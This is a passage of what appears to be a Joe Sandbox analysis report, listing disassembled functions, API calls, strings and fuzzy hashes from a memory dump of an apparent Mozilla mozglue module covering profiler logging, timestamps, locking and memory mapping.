Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0DE73
GetCurrentThreadId.KERNEL32 ref: 6CB0DF7D
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAD4A68), ref: 6CB0DE7B

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAD4A68), ref: 6CB0DEB8
free.MOZGLUE(00000000,?,6CAD4A68), ref: 6CB0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB0DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB0E00E
<none>, xrefs: 6CB0DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CB0DE83

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 6678637fbe66a8504de4bc314eb9c5bc56be5501769098d3cf37e44fae4bcefe
Instruction ID: 1c7f71a12a3f5f9dc1840791d7160fb2c796a03e9d669714c6f2573e95aa62e0
Opcode Fuzzy Hash: 6678637fbe66a8504de4bc314eb9c5bc56be5501769098d3cf37e44fae4bcefe
Instruction Fuzzy Hash: 4F411735B095509BEF10AF74E804BAEBB75FB8531CF04C119EA0987B49CB319809CBE2

Function 6CB1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D52A
GetCurrentThreadId.KERNEL32 ref: 6CB1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D55F
free.MOZGLUE(00000000), ref: 6CB1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D652
GetCurrentThreadId.KERNEL32 ref: 6CB1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D6A2

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a5245ef77ad93c9f3e6ecf01f2462ad7410843a344bcf5ea32b5db4c38488ce4
Instruction ID: a4af768d39c8304cbb7fca202ab72f2f767137bdabc3aec8ffe42ea5b00c92a7
Opcode Fuzzy Hash: a5245ef77ad93c9f3e6ecf01f2462ad7410843a344bcf5ea32b5db4c38488ce4
Instruction Fuzzy Hash: 04516F71608B45EFC704DF35D484A9ABBF4FF89318F108A2EE95A87B11DB30A945CB91

Function 6CAE5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAE56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAE56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAE5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAE57BC
GetTickCount64.KERNEL32 ref: 6CAE58CB
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE58F3
__aulldiv.LIBCMT ref: 6CAE5945
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB4F638,?,?,?,?), ref: 6CAE59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAE56CC

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 382bc32535d097a6fd3dd903816733a80c090cbf8a7c8458d9b806650b3fc17f
Instruction ID: b7032d3688ae3360bac8a18a17e777ce0fe2e096cce6f3382b30ac2d850f1cb4
Opcode Fuzzy Hash: 382bc32535d097a6fd3dd903816733a80c090cbf8a7c8458d9b806650b3fc17f
Instruction Fuzzy Hash: 50C17C31A0D7509FDB05DF28D44066ABBF1BFCA718F098A1DE8C897664D730A885DB82

Function 6CB0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0EC8C

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0ECA1
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0ED19
CloseHandle.KERNEL32(?), ref: 6CB0ED28
free.MOZGLUE(00000000), ref: 6CB0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB0EC94

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 104d70900bba18ec67734ae41823be93a6ce6e3d4b11a557d28a4a39b930e6d2
Instruction ID: 877d6f2965b93bd936cedc3dd1da8d529e2ebcfed07a4ca86e62e5050edad8dc
Opcode Fuzzy Hash: 104d70900bba18ec67734ae41823be93a6ce6e3d4b11a557d28a4a39b930e6d2
Instruction Fuzzy Hash: BA21E575708594AFDF00AF24D804AAE7B79FB8637CF148210FD1997749DB319805CBA2

Function 6CB08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CACEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CACEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB0B392,?,?,00000001), ref: 6CB091F4

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Strings

marker-chart, xrefs: 6CB0905E
timeline-ipc, xrefs: 6CB09096
name, xrefs: 6CB08F16
stack-chart, xrefs: 6CB090B2
data, xrefs: 6CB090E8
timeline-memory, xrefs: 6CB09088
marker-table, xrefs: 6CB0906C
timeline-overview, xrefs: 6CB0907A
timeline-fileio, xrefs: 6CB090A4

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: baf9e8e1e884d57e940edb937690e718d1b5d82d72346e5b2b61b6590af5370b
Instruction ID: 1fe366b1ce0260ad0cad2c1a7c124aa981b63d7f79edc0ce9029b26296a2f459
Opcode Fuzzy Hash: baf9e8e1e884d57e940edb937690e718d1b5d82d72346e5b2b61b6590af5370b
Instruction Fuzzy Hash: 45B1B0B0F01289DBDB04CFA8D5527AEBBB6EF84318F108529D405ABF84D771A949CBD1

Function 6CAEC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAEC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAEC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAEC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAECAA5

Strings

(null), xrefs: 6CAEC596
0, xrefs: 6CAED30A

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: b9a4560d2343ffa5641621ef0b792d08dbfe19831788f1be4ec82ea0fa3f8fea
Instruction ID: e0ec7e96d3e09c8d79869c4197d3a5913d084585d1e94016a88376a4185e8e23
Opcode Fuzzy Hash: b9a4560d2343ffa5641621ef0b792d08dbfe19831788f1be4ec82ea0fa3f8fea
Instruction Fuzzy Hash: FCA19A306083428FDB01EF28C594B5BBBE5BF8974CF08892DE89997741D731E885DB82

Function 6CAEC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAEC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CAEC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CAEC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAEC891

Strings

nan, xrefs: 6CAEC7A8
NAN, xrefs: 6CAEC7AD
INF, xrefs: 6CAEC794
inf, xrefs: 6CAEC78F

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 0e793dc3aa7064577aa20d9d7597674a09cbf137f6987c2a4aad5d40e2660017
Instruction ID: 586c0bf47f5d51d64c9b903296ccda9cccda2e00ce2c0223e052862387adf3e0
Opcode Fuzzy Hash: 0e793dc3aa7064577aa20d9d7597674a09cbf137f6987c2a4aad5d40e2660017
Instruction Fuzzy Hash: 395184719087808BD700AF2CC58569AFBF0BF9E308F048A1DE9D597650E771D984DB83

Function 6CAC4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB04843,?), ref: 6CAC45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB04843,?), ref: 6CAC468A
free.MOZGLUE(?,?,?,?,?,?,6CB04843,?), ref: 6CAC46C9
free.MOZGLUE(?), ref: 6CAC46EF
free.MOZGLUE(?), ref: 6CAC4712
free.MOZGLUE(?), ref: 6CAC4735
free.MOZGLUE(?), ref: 6CAC4758
free.MOZGLUE(?), ref: 6CAC477B
free.MOZGLUE(?), ref: 6CAC479E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 0aea0af9f44e66ee898770e7afee527258deae04098c796166979a8bcbe6e12c
Instruction ID: 71667cbbbf1b5db7dc5d21cb984b9d738620b7800f990ae0baeb8f4884469d7d
Opcode Fuzzy Hash: 0aea0af9f44e66ee898770e7afee527258deae04098c796166979a8bcbe6e12c
Instruction Fuzzy Hash: FEB1D171B005118FDB188E3CD9D47BD76B2AF46328F184669E816DFB96D73098C48B8A

Function 6CB2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB2AC52
CreateFileMappingW.KERNEL32 ref: 6CB2AC7D
GetSystemInfo.KERNEL32 ref: 6CB2AC98
MapViewOfFile.KERNEL32 ref: 6CB2ACB0
GetSystemInfo.KERNEL32 ref: 6CB2ACCD
MapViewOfFile.KERNEL32 ref: 6CB2AD05
UnmapViewOfFile.KERNEL32 ref: 6CB2AD1C
CloseHandle.KERNEL32 ref: 6CB2AD28
UnmapViewOfFile.KERNEL32 ref: 6CB2AD37
CloseHandle.KERNEL32 ref: 6CB2AD43
CloseHandle.KERNEL32 ref: 6CB2AD67

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6b0b97e942bdde16ed071a90ba74799d50295713cfb83e208a200039026a9fd7
Instruction ID: e2794c80ee21b048ed9e1d60f5cd065cd244d27cd044fb366fdda980ec95b8ce
Opcode Fuzzy Hash: 6b0b97e942bdde16ed071a90ba74799d50295713cfb83e208a200039026a9fd7
Instruction Fuzzy Hash: 243140B19087458FDB00BF7DD64866EBBF0FF85309F018A2DE99997215EB749448CB82

Function 6CAD9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAD9675
__Init_thread_footer.LIBCMT ref: 6CAD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAD9707
__Init_thread_footer.LIBCMT ref: 6CAD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9773

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAD97B7
FreeLibrary.KERNEL32 ref: 6CAD97D0
FreeLibrary.KERNEL32 ref: 6CAD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9824

Strings

MapViewOfFileNuma2, xrefs: 6CAD97B1
NtMapViewOfSection, xrefs: 6CAD9701
ntdll.dll, xrefs: 6CAD96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAD9670

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: a2153d73970c89c224db68891284241d1853dc0284c214effd276751b6f5df6e
Instruction ID: f110271628865f8d5dc4f444932ee64d4d7b2b33a82b74fddb62f565aa415459
Opcode Fuzzy Hash: a2153d73970c89c224db68891284241d1853dc0284c214effd276751b6f5df6e
Instruction Fuzzy Hash: 4941E3747082059FDF00EFA4EA94A9A7BB5FB49328F058528ED1587748D734E845CBA1

Function 6CAC1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1EC1
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1EE1
EnterCriticalSection.KERNEL32(6CB4E744), ref: 6CAC1F38
LeaveCriticalSection.KERNEL32(6CB4E744), ref: 6CAC1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAC1F83
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FC0
EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FE2
LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CAC1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAC2019

Strings

MOZ_CRASH(), xrefs: 6CAC2000

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 74204ebede940e51158f712ffc2cbfc7168eabddcd48a6081143428adb90e6db
Instruction ID: 043900d4864e4dbc297a9771325568c2798fef768d1fb3bb11bc43c2a72c0ffc
Opcode Fuzzy Hash: 74204ebede940e51158f712ffc2cbfc7168eabddcd48a6081143428adb90e6db
Instruction Fuzzy Hash: 1841E275B483558BDF00EF78C888BAEBAB5FB5931CF048126EA1497748DB719844CBD2

Function 6CAD7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAD7EA7
malloc.MOZGLUE(00000001), ref: 6CAD7EB3

Part of subcall function 6CADCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CADCB49
Part of subcall function 6CADCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CADCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAD7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAD7F19
malloc.MOZGLUE(?), ref: 6CAD7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAD7F4D

Strings

d, xrefs: 6CAD7F89

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: ff6528f142fff450bdf38b9677a7b17baa0b122335edc84e2a2b41c56facaa80
Instruction ID: 551f21b0a38a02a230611305c8db10ea6148517cc47a19a7418416778e8108fe
Opcode Fuzzy Hash: ff6528f142fff450bdf38b9677a7b17baa0b122335edc84e2a2b41c56facaa80
Instruction Fuzzy Hash: 3931E361E0429897DB01AB78DC049FEB778EF96208F459728EC599B612FB70B5C8C391

Function 6CAD3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAD3EEE
RtlFreeHeap.NTDLL ref: 6CAD3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAD4006
RtlFreeHeap.NTDLL ref: 6CAD40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD40C2
RtlFreeHeap.NTDLL ref: 6CAD4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAD3CCC), ref: 6CAD4157

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

